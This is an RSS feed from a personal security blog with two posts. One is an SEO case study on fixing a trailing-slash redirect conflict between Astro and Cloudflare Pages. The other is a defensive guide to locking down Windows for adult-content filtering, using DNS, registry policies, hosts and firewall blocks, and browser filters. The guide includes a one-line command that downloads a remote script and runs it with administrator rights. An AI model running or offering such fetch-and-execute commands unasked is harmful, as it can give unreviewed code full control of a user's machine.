<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Farros</title><description>Independent research on web vulnerabilities, exploitation techniques, offensive security, and system defense through the lens of data engineering.</description><link>https://farros.co/</link><item><title>Astro SEO: Fixing Trailing Slash Issues on Cloudflare</title><link>https://farros.co/blog/astro-seo-fixing-trailing-slash-issues-on-cloudflare/</link><guid isPermaLink="true">https://farros.co/blog/astro-seo-fixing-trailing-slash-issues-on-cloudflare/</guid><description>Learn how a mismatched trailing slash configuration between Astro and Cloudflare Pages caused a 70% drop in indexed pages and how I fixed the redirect loop.</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The Shock: A Near-Zero Performance Drop&lt;/h2&gt;
&lt;p&gt;It started with a routine check of Google Search Console (GSC). What I saw was developer’s nightmare: a performance graph that looked like a cliff. After a steady climb to over 1,000 clicks, the traffic suddenly cratered to near zero.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CCVPqnAw_UD3qt.webp&quot; alt=&quot;GSC Performance Drop&quot;&gt;&lt;/p&gt;
&lt;p&gt;At first, I was confused. I hadn&apos;t changed any content, and there were no security manual actions or server errors. However, when I looked at the &lt;strong&gt;Indexing&lt;/strong&gt; report, the truth came out. My indexed pages had plummeted from over 200 down to just 57.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image2.CRVYLest_Z1R3JKM.webp&quot; alt=&quot;GSC Indexing Drop&quot;&gt;&lt;/p&gt;
&lt;h2&gt;The Context: Migrating from GitHub Pages to Cloudflare&lt;/h2&gt;
&lt;p&gt;The timing of this drop aligned with my migration from GitHub Pages to &lt;strong&gt;Cloudflare Pages&lt;/strong&gt;. I made the move because I needed more advanced features, better edge performance, and higher bandwidth for my research lab, &lt;code&gt;farros.co&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On GitHub Pages, my setup worked well with &lt;code&gt;trailingSlash: false&lt;/code&gt; in my Astro config. But Cloudflare Pages handles URLs differently.&lt;/p&gt;
&lt;h2&gt;The Investigation: Hunting the &quot;Blocked&quot; URLs&lt;/h2&gt;
&lt;p&gt;I turned to Ahrefs to get a deeper look at the site&apos;s health. The dashboard confirmed: a &lt;strong&gt;Health Score of 57&lt;/strong&gt; and nearly 500 &quot;Blocked&quot; or redirect-heavy URLs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image3.Dv5ugta__zfAtX.webp&quot; alt=&quot;Ahrefs Dashboard Status&quot;&gt;&lt;/p&gt;
&lt;p&gt;When I dug into the &quot;What&apos;s New&quot; section of the audit, two errors were screaming for attention:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Canonical points to redirect&lt;/strong&gt; (229 instances)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3XX redirect in sitemap&lt;/strong&gt; (229 instances)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image4.ZFTWbhpU_Z2f1Evf.webp&quot; alt=&quot;Ahrefs Top Issues&quot;&gt;&lt;/p&gt;
&lt;p&gt;This was the &quot;smoking gun.&quot; So many of my blog posts and category tags was stuck in a redirect loop.&lt;/p&gt;
&lt;h2&gt;The Root Cause: The &quot;Trailing Slash Bounce&quot;&lt;/h2&gt;
&lt;p&gt;By looking at the Ahrefs crawl details, I found the &quot;bounce&quot; pattern. It was a conflict between the application logic (Astro) and the hosting provider (Cloudflare).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image5.BOjQFegI_BH7DS.webp&quot; alt=&quot;Redirect Bounce Detail&quot;&gt;&lt;/p&gt;
&lt;h3&gt;How the conflict happened&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Astro Config:&lt;/strong&gt; I had &lt;code&gt;trailingSlash: &apos;never&apos;&lt;/code&gt; in my &lt;code&gt;astro.config.ts&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Canonical Tag:&lt;/strong&gt; Astro generated canonical links like &lt;code&gt;https://farros.co/blog/my-post&lt;/code&gt; (no slash).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Hosting:&lt;/strong&gt; Cloudflare Pages uses &quot;Pretty URLs&quot; by default. When it sees a directory-based build (which Astro uses for SSG), it &lt;strong&gt;enforces&lt;/strong&gt; a trailing slash.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Loop:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Googlebot visits &lt;code&gt;https://farros.co/blog/my-post/&lt;/code&gt; (with slash).&lt;/li&gt;
&lt;li&gt;The HTML says: &lt;em&gt;&quot;The official (canonical) version is &lt;code&gt;https://farros.co/blog/my-post&lt;/code&gt; (no slash).&quot;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Googlebot tries to go to the no-slash version.&lt;/li&gt;
&lt;li&gt;Cloudflare catches the request and says: &lt;em&gt;&quot;Nope, we use slashes here!&quot;&lt;/em&gt; and sends a &lt;strong&gt;308 Permanent Redirect&lt;/strong&gt; back to the slash version.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Google sees this as a site that doesn&apos;t know where its own pages are, so it stops indexing them to avoid &quot;Redirect Loops.&quot;&lt;/p&gt;
&lt;h2&gt;The Fix: Synchronizing Astro with Cloudflare&lt;/h2&gt;
&lt;p&gt;The solution was to stop fighting the server and align Astro with Cloudflare&apos;s behavior. I modified the &lt;code&gt;astro.config.ts&lt;/code&gt; to force trailing slashes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// astro.config.ts
export default defineConfig({
  site: &apos;https://farros.co&apos;,
  trailingSlash: &apos;always&apos;, // Changed from &apos;never&apos;
  // ...
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also updated the RSS feed configuration to ensure the &lt;code&gt;rss.xml&lt;/code&gt; generated URLs that matched the new standard:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/pages/rss.xml.ts
return rss({
  trailingSlash: true,
  // ...
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The Role of Astro Pure in the Architecture&lt;/h2&gt;
&lt;p&gt;My site is built using the &lt;a href=&quot;https://github.com/cworld1/astro-theme-pure&quot;&gt;Astro Pure&lt;/a&gt; integration, which provides a robust set of SEO and performance tools out of the box.&lt;/p&gt;
&lt;h3&gt;Why this migration was tricky&lt;/h3&gt;
&lt;p&gt;Astro Pure is designed to be a &quot;plug-and-play&quot; solution for technical bloggers. It handles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automatic Schema.org Generation:&lt;/strong&gt; It builds a complex JSON-LD &lt;code&gt;@graph&lt;/code&gt; for search engines.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dynamic Metadata:&lt;/strong&gt; It manages OpenGraph and Twitter cards automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, because Astro Pure dynamically generates canonical URLs based on your &lt;code&gt;astro.config.ts&lt;/code&gt;, the &lt;code&gt;trailingSlash: &apos;never&apos;&lt;/code&gt; setting was being &quot;baked into&quot; every single piece of metadata on the site. Astro Pure was well doing its job—it was just being told the wrong information by the framework configuration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Insight:&lt;/strong&gt; When using an advanced theme like Astro Pure, your framework settings are more critical. The theme&apos;s automation will amplify your configuration choices (good or bad) across every page of your site.&lt;/p&gt;
&lt;h2&gt;The Result: A Near-Perfect 98 Health Score&lt;/h2&gt;
&lt;p&gt;After applying the trailing slash fixes across the configuration and internal links, I triggered a next crawl. The results were immediate as well. My Ahrefs Health Score jumped from a &quot;Weak&quot; 57 to an &lt;strong&gt;&quot;Excellent&quot; 98&lt;/strong&gt;. Alhamdulillah&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image6.BuG4A9Uh_Z1l2hW4.webp&quot; alt=&quot;Ahrefs Success Score 98&quot;&gt;&lt;/p&gt;
&lt;h3&gt;What changed?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Canonical Errors:&lt;/strong&gt; Reduced to zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Orphan Pages:&lt;/strong&gt; Resolved by updating internal links.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redirects:&lt;/strong&gt; Internal links now point directly to 200 OK pages, eliminating the 308 &quot;bounce.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lessons Learned&lt;/h2&gt;
&lt;p&gt;Moving from one host to another isn&apos;t just about moving files; it&apos;s about understanding how the new environment handles path normalization.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Pages&lt;/strong&gt; is flexible and doesn&apos;t usually force redirects, making &lt;code&gt;trailingSlash: &apos;never&apos;&lt;/code&gt; safe.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Pages&lt;/strong&gt; is stricter with its &quot;Pretty URLs&quot; feature, making &lt;code&gt;trailingSlash: &apos;always&apos;&lt;/code&gt; the best practice for SEO consistency.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/reference/configuration-reference/#trailingslash&quot;&gt;Astro: Trailing Slash Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/pages/configuration/serving-pages/#pretty-urls&quot;&gt;Cloudflare Pages: Pretty URLs Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/canonicalization&quot;&gt;Google Search Central: Canonicalization Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This case study proves that even small architectural conflicts between your framework and your host can have massive consequences for your search presence. Try to verify your trailing slash behavior when migrating platforms!&lt;/p&gt;</content:encoded><h:img src="/_astro/1.U2hpbmL3.webp"/><enclosure url="/_astro/1.U2hpbmL3.webp"/></item><item><title>Un-bypassable Windows Hardening for Content Filtering</title><link>https://farros.co/blog/un-bypassable-windows-hardening-for-content-filtering/</link><guid isPermaLink="true">https://farros.co/blog/un-bypassable-windows-hardening-for-content-filtering/</guid><description>A multi-layered defense-in-depth guide to locking down Windows using Registry policies, DNS over HTTPS, and privilege management to block adult content.</description><pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Technology is a double-edged sword; while it has the power to empower and connect us, it can also be a tool for destruction. I am sharing this hardening method to combat the proliferation of content that is dangerous to our society—specifically explicit and harmful adult content—in an effort to protect and build a better generation.&lt;/p&gt;
&lt;p&gt;When hardening a system against such content, a single layer is never enough. This guide uses a Red Teaming &quot;Defense in Depth&quot; approach to ensure filtering remains active even if the user tries to bypass it.&lt;/p&gt;
&lt;h2&gt;Why OpenDNS FamilyShield?&lt;/h2&gt;
&lt;p&gt;Before settling on this setup, I researched several major DNS providers focused on family safety:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Family (1.1.1.3):&lt;/strong&gt; Fast and reliable, but sometimes lacks the granular strictness needed for deep content filtering.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CleanBrowsing:&lt;/strong&gt; Highly effective, but some advanced features are locked behind a subscription.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NextDNS:&lt;/strong&gt; Excellent customization and analytics. However, their free tier is limited to &lt;strong&gt;300,000 queries per month&lt;/strong&gt;, which is often insufficient for a busy home or office environment, leading to filtered traffic being allowed once the limit is hit.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I chose &lt;strong&gt;OpenDNS FamilyShield&lt;/strong&gt; because it is completely free, requires zero configuration to start blocking adult content (no custom IDs or links needed), and is incredibly strict by default. It provides a robust &quot;set and forget&quot; foundation for our hardening layers.&lt;/p&gt;
&lt;h2&gt;Layer 1: The Network Perimeter (Router)&lt;/h2&gt;
&lt;p&gt;The first line of defense is your gateway. By setting DNS at the router level, every device on the network is protected by default.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How to do it:&lt;/strong&gt; Log into your router&apos;s admin panel (usually &lt;code&gt;192.168.1.1&lt;/code&gt;). Find the &lt;strong&gt;DHCP&lt;/strong&gt; or &lt;strong&gt;Internet&lt;/strong&gt; settings and set the DNS servers to OpenDNS FamilyShield:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IPv4:&lt;/strong&gt; &lt;code&gt;208.67.222.123&lt;/code&gt; and &lt;code&gt;208.67.220.123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IPv6:&lt;/strong&gt; &lt;code&gt;2620:119:35::123&lt;/code&gt; and &lt;code&gt;2620:119:53::123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Layer 2: The OS Adapter Layer&lt;/h2&gt;
&lt;p&gt;Even if the router is bypassed, the Windows network adapter acts as a secondary filter.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.AymQOtvQ_Z2dpfjF.webp&quot; alt=&quot;Configuring IPv4 DNS settings&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.BPSn-zzz_1sEbzB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Run this in PowerShell as Admin to force system-wide DNS. You have two options:&lt;/p&gt;
&lt;h3&gt;Option A: Active Adapters Only (Standard)&lt;/h3&gt;
&lt;p&gt;Use this if you only want to affect the connection you are currently using.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$dnsIpv4 = @(&quot;208.67.222.123&quot;, &quot;208.67.220.123&quot;)
$dnsIpv6 = @(&quot;2620:119:35::123&quot;, &quot;2620:119:53::123&quot;)

$adapters = Get-NetAdapter | Where-Object { $_.Status -eq &quot;Up&quot; }
foreach ($adapter in $adapters) {
    Set-DnsClientServerAddress -InterfaceAlias $adapter.Name -ServerAddresses $dnsIpv4
    Set-DnsClientServerAddress -InterfaceAlias $adapter.Name -ServerAddresses $dnsIpv6 -ErrorAction SilentlyContinue
}
Clear-DnsClientCache
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option B: Full Hardening (All Adapters)&lt;/h3&gt;
&lt;p&gt;Recommended for laptops. This ensures that even if you switch from Wi-Fi to Ethernet later, the protection remains active.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$dnsIpv4 = @(&quot;208.67.222.123&quot;, &quot;208.67.220.123&quot;)
$dnsIpv6 = @(&quot;2620:119:35::123&quot;, &quot;2620:119:53::123&quot;)

Get-NetAdapter | Set-DnsClientServerAddress -ServerAddresses $dnsIpv4
Get-NetAdapter | Set-DnsClientServerAddress -ServerAddresses $dnsIpv6 -ErrorAction SilentlyContinue
Clear-DnsClientCache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Layer 3: The Browser Layer (Policy Hardening)&lt;/h2&gt;
&lt;p&gt;Modern browsers often use &lt;strong&gt;DNS over HTTPS (DoH)&lt;/strong&gt;, which can bypass both Router and Adapter settings. We use Windows Registry Policies to lock the browser into a secure DoH provider and prevent the user from disabling it.&lt;/p&gt;
&lt;h3&gt;Firefox&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Stop-Process -Name firefox -Force -ErrorAction SilentlyContinue
$path = &quot;HKLM:\SOFTWARE\Policies\Mozilla\Firefox\DNSOverHTTPS&quot;
if (!(Test-Path $path)) { New-Item -Path $path -Force | Out-Null }

Set-ItemProperty -Path $path -Name &quot;Enabled&quot; -Value 1 -Type DWord
Set-ItemProperty -Path $path -Name &quot;Locked&quot; -Value 1 -Type DWord
Set-ItemProperty -Path $path -Name &quot;ProviderURL&quot; -Value &quot;https://doh.familyshield.opendns.com/dns-query&quot; -Type String
Write-Host &quot;Firefox DNS is now locked to OpenDNS.&quot; -ForegroundColor Green
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Chrome, Edge, Brave, &amp;#x26; Opera (Chromium-based)&lt;/h3&gt;
&lt;p&gt;Most modern browsers are Chromium-based and share similar policy structures, but they use different Registry paths. Run these to lock DoH for your preferred browser:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Define the DNS settings
$dohMode = &quot;secure&quot;
$dohTemplate = &quot;https://doh.familyshield.opendns.com/dns-query&quot;

# Registry Paths for different browsers
$paths = @(
    &quot;HKLM:\SOFTWARE\Policies\Google\Chrome&quot;,        # Chrome
    &quot;HKLM:\SOFTWARE\Policies\Microsoft\Edge&quot;,      # Edge
    &quot;HKLM:\SOFTWARE\Policies\BraveSoftware\Brave&quot;, # Brave
    &quot;HKLM:\SOFTWARE\Policies\Vivaldi&quot;,             # Vivaldi
    &quot;HKLM:\SOFTWARE\Policies\Opera&quot;                # Opera
)

foreach ($path in $paths) {
    if (!(Test-Path $path)) { New-Item -Path $path -Force | Out-Null }
    Set-ItemProperty -Path $path -Name &quot;DnsOverHttpsMode&quot; -Value $dohMode -Type String
    Set-ItemProperty -Path $path -Name &quot;DnsOverHttpsTemplates&quot; -Value $dohTemplate -Type String
}

Write-Host &quot;Chromium-based browsers are now locked to OpenDNS.&quot; -ForegroundColor Green
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Layer 4: Content &amp;#x26; Search Enforcement (Hosts)&lt;/h2&gt;
&lt;p&gt;We can force &quot;SafeSearch&quot; at the IP level by modifying the &lt;code&gt;hosts&lt;/code&gt; file. This prevents users from seeing explicit results even on &quot;clean&quot; search engines. We also block &quot;Proxy Search Engines&quot; like Startpage, which can be used to bypass DNS filters via their &quot;Anonymous View&quot; feature.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Google &amp;#x26; YouTube SafeSearch
216.239.38.120 www.google.com
216.239.38.120 google.com
216.239.38.120 www.youtube.com
216.239.38.120 m.youtube.com

# Bing SafeSearch
204.79.197.220 www.bing.com

# DuckDuckGo SafeSearch
52.149.246.39 safe.duckduckgo.com

# Brave SafeSearch
# (Note: Brave uses its own indexing, but blocking specific domains can help)
0.0.0.0 search.brave.com # Optional: Block if you want to force Google/Bing SafeSearch

# Startpage (Proxy Bypass)
# Startpage&apos;s &quot;Anonymous View&quot; acts as a web proxy, bypassing DNS filters.
0.0.0.0 startpage.com
0.0.0.0 www.startpage.com
0.0.0.0 s7.startpage.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Layer 5: Privilege Management (The Lock)&lt;/h2&gt;
&lt;p&gt;The most critical layer. All the settings above can be reversed if the user has Administrative privileges. By switching to a &lt;strong&gt;Standard User&lt;/strong&gt; account, the user cannot modify the Registry, the Hosts file, or Network Adapter settings.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.DJk_Pe44_Z2jNBBT.webp&quot; alt=&quot;Setting up a Standard User account&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Security Note:&lt;/strong&gt; For this &quot;Lock&quot; to be effective, your primary Administrative account must have a strong password that the Standard User does not know. This prevents the user from using &quot;Run as Administrator&quot; to bypass your policies.&lt;/p&gt;
&lt;p&gt;This final step also prevents the installation of &lt;strong&gt;VPNs, Proxies, or Portable Browsers&lt;/strong&gt; that could tunnel traffic past our DNS filters. Since a Standard User cannot install new network drivers, they are effectively locked into the hardened environment.&lt;/p&gt;
&lt;h2&gt;Layer 6: The Firewall Layer (IP Blocking)&lt;/h2&gt;
&lt;p&gt;DNS filtering only blocks domain names. If a site uses a direct IP address (like many movie piracy sites), you must block the &quot;number&quot; itself using the Windows Firewall. Many movie piracy sites are notorious for serving adult advertisements or even hosting explicit adult content directly, making IP-level blocking essential for a clean environment.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Block specific malicious IPs directly
New-NetFirewallRule -DisplayName &quot;Block Malicious IPs&quot; `
    -Direction Outbound `
    -Action Block `
    -RemoteAddress &quot;162.244.93.0/24&quot;, &quot;195.63.129.0/24&quot;, &quot;139.59.72.0/24&quot;, &quot;167.71.201.0/24&quot;, &quot;139.59.34.0/24&quot;, &quot;165.232.170.0/24&quot;, &quot;146.190.87.0/24&quot;, &quot;129.212.208.0/24&quot;,&quot;159.203.161.0/24&quot;,&quot;165.245.144.0/24&quot;,&quot;143.110.182.0/24&quot;,&quot;154.93.72.0/24&quot;,&quot;159.223.73.0/24&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the user is a &lt;strong&gt;Standard User (Layer 5)&lt;/strong&gt;, they cannot modify or delete these firewall rules.&lt;/p&gt;
&lt;h2&gt;Layer 7: Real-time Content Scanning (Keyword Blocking)&lt;/h2&gt;
&lt;p&gt;Even with DNS and IP blocks, some sites might slip through or be dynamic. We can implement real-time content scanning at the browser level to block the entire page if specific keywords or phrases are found.&lt;/p&gt;
&lt;h3&gt;Option A: uBlock Origin (Static Blocking)&lt;/h3&gt;
&lt;p&gt;Using a browser extension like &lt;strong&gt;uBlock Origin&lt;/strong&gt;, you can implement real-time content scanning. The keywords below are common title markers for popular piracy websites that often serve &quot;semi-adult&quot; content.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DEb9q3-y_Z17x6I3.webp&quot; alt=&quot;my filter&quot;&gt;&lt;/p&gt;
&lt;p&gt;Add these to your &quot;My filters&quot; tab in uBlock Origin:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;! Hide the entire page if the title contains these piracy brands
*##html:has(title:has-text(LK21))
*##html:has(title:has-text(Dunia21))
*##html:has(title:has-text(Layarkaca21))
*##html:has(title:has-text(Rebahin))
*##html:has(title:has-text(IDLIX))
*##html:has(title:has-text(BOS21))

! Hide the entire page if the body text contains these specific phrases
*##body:has-text(Nonton Film Semi)
*##body:has-text(Download Film Semi)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option B: Tampermonkey (Advanced Redirects)&lt;/h3&gt;
&lt;p&gt;For a more &quot;educational&quot; approach, you can use &lt;strong&gt;Tampermonkey&lt;/strong&gt; to redirect the user to a specific video (e.g., a security awareness video) when a violation is detected. This method allows for complex logic, such as excluding trusted domains like Google or your own workspace.&lt;/p&gt;
&lt;p&gt;Create a new script in Tampermonkey and paste the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// ==UserScript==
// @name         Redirect Piracy Sites by Content
// @namespace    http://tampermonkey.net/
// @version      1.1
// @description  Redirects the page to YouTube if specific piracy brands or text are found.
// @match        *://*/*
// @exclude      *://*.farros.co/*
// @exclude      *://farros.co/*
// @exclude      *://*.medium.com/*
// @exclude      *://medium.com/*
// @exclude      *://*.google.com/*
// @exclude      *://google.com/*
// @exclude      *://*.youtube.com/*
// @exclude      *://youtube.com/*
// @grant        none
// @run-at       document-idle
// ==/UserScript==

(function() {
    &apos;use strict&apos;;

    // The YouTube URL you want to redirect to
    const targetURL = &quot;https://www.youtube.com/watch?v=fbTlW1V2VuI&amp;#x26;t=2726s&quot;;

    // Regex for titles
    const badTitles = [
        /lk21/i, /dunia21/i, /layarkaca21/i, /rebahin/i, /idlix/i, /bos21/i, /indoxx1/i
    ];

    // Regex for body text
    const badText = [
        /nonton film semi/i, /download film semi/i
    ];

    let shouldRedirect = false;

    // Check document title
    if (document.title &amp;#x26;&amp;#x26; badTitles.some(regex =&gt; regex.test(document.title))) {
        shouldRedirect = true;
    }

    // Check body text
    if (!shouldRedirect &amp;#x26;&amp;#x26; document.body) {
        const pageText = document.body.innerText || document.body.textContent;
        if (badText.some(regex =&gt; regex.test(pageText))) {
            shouldRedirect = true;
        }
    }

    // Redirect to YouTube if a match is found
    if (shouldRedirect) {
        // Clear the page instantly to hide the content while the redirect happens
        document.documentElement.innerHTML = &apos;&amp;#x3C;h1 style=&quot;text-align:center; margin-top:20%; font-family:sans-serif;&quot;&gt;Redirecting to Educational Content...&amp;#x3C;/h1&gt;&apos;;
        window.location.replace(targetURL);
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This ensures that even if a new domain appears, if it uses the same branding or content markers, it will be instantly hidden and redirected.&lt;/p&gt;
&lt;h2&gt;Layer 8: Extension Persistence (The Force Install)&lt;/h2&gt;
&lt;p&gt;Layer 7 is only effective if the uBlock Origin extension remains active. A savvy user might try to disable or uninstall the extension to bypass your keyword filters. We can use Windows Registry policies to &quot;force-install&quot; the extension, making it impossible for a Standard User to remove or disable it from the browser settings.&lt;/p&gt;
&lt;p&gt;Run this in PowerShell as Admin to lock uBlock Origin into Firefox:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Create the Extension Settings policy path
$firefoxPolicyPath = &quot;HKLM:\SOFTWARE\Policies\Mozilla\Firefox\ExtensionSettings&quot;
if (!(Test-Path $firefoxPolicyPath)) { New-Item -Path $firefoxPolicyPath -Force | Out-Null }

# Force-install uBlock Origin and prevent removal
$uBlockConfig = &apos;{&quot;installation_mode&quot;:&quot;force_installed&quot;,&quot;install_url&quot;:&quot;https://addons.mozilla.org/firefox/downloads/latest/ublock-origin/latest.xpi&quot;}&apos;
Set-ItemProperty -Path $firefoxPolicyPath -Name &quot;uBlock0@raymondhill.net&quot; -Value $uBlockConfig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once applied, the &quot;Remove&quot; and &quot;Disable&quot; buttons for uBlock Origin in Firefox will be hidden or greyed out, and the extension will be automatically re-installed if the browser profile is refreshed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Minimal Implementation (One-Click)&lt;/h2&gt;
&lt;p&gt;For those who want to apply these hardening layers quickly, I have created a consolidated PowerShell script that automates Layers 2, 3, 4, and 6 in one go. You can find the full source code and documentation in my GitHub repository: &lt;a href=&quot;https://github.com/farrosfr/noa&quot;&gt;farrosfr/noa&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To run the hardening script instantly, open PowerShell as Administrator and paste the following command:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;irm https://raw.githubusercontent.com/farrosfr/noa/main/harden.ps1 | iex
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note: Always review scripts from the internet before running them. This script will modify your DNS settings, Registry policies, and Firewall rules to enforce strict content filtering.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;How to Verify Your Setup&lt;/h2&gt;
&lt;p&gt;Once you&apos;ve applied all layers, perform these tests to ensure your &quot;Defense in Depth&quot; is active:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;OpenDNS Welcome Page:&lt;/strong&gt; Visit &lt;a href=&quot;https://welcome.opendns.com&quot;&gt;welcome.opendns.com&lt;/a&gt;. You should see a message saying: &lt;em&gt;&quot;Welcome to OpenDNS! Your internet is safer, faster, and smarter.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &quot;Blocked&quot; Test:&lt;/strong&gt; Try to visit a known adult site. You should be greeted by the OpenDNS &quot;This site is blocked&quot; page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Browser Lock:&lt;/strong&gt; Open your browser&apos;s DNS settings. You should see a message stating: &lt;em&gt;&quot;Your browser is managed by your organization&quot;&lt;/em&gt; and the option to change DNS settings should be disabled (greyed out).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Red Team Insight: The Defense in Depth Structure&lt;/h2&gt;
&lt;p&gt;As a Red Teamer, I approach security by looking for the &quot;weakest link.&quot; A single filter is just a hurdle; a multi-layered defense is a wall. This guide follows a &lt;strong&gt;Defense in Depth (DiD)&lt;/strong&gt; structure designed to fail-safe:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Perimeter (Router):&lt;/strong&gt; The first line of defense. It catches every device on the network before they even reach the OS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System (Adapter):&lt;/strong&gt; If a device leaves the network or uses a VPN that doesn&apos;t leak DNS, the OS-level adapter settings act as a secondary guard.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Application (Browser Policy):&lt;/strong&gt; Many modern threats (and bypasses) happen at the application layer. By using Registry Policies, we force the browser to obey the rules, even if the user tries to toggle settings in the UI.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content (Hosts):&lt;/strong&gt; We target the specific content delivery method (Search Engines) to ensure that even &quot;clean&quot; sites don&apos;t serve explicit results.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privilege (Standard User):&lt;/strong&gt; The ultimate lock. In security, &lt;strong&gt;Identity and Access Management (IAM)&lt;/strong&gt; is king. Without Admin rights, the user cannot tear down the other four layers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Active Content Inspection (Keyword Blocking):&lt;/strong&gt; The final safeguard. By scanning the DOM in real-time, we can block pages that bypass domain and IP filters but still contain known harmful keywords or branding.&lt;/li&gt;
&lt;/ol&gt;
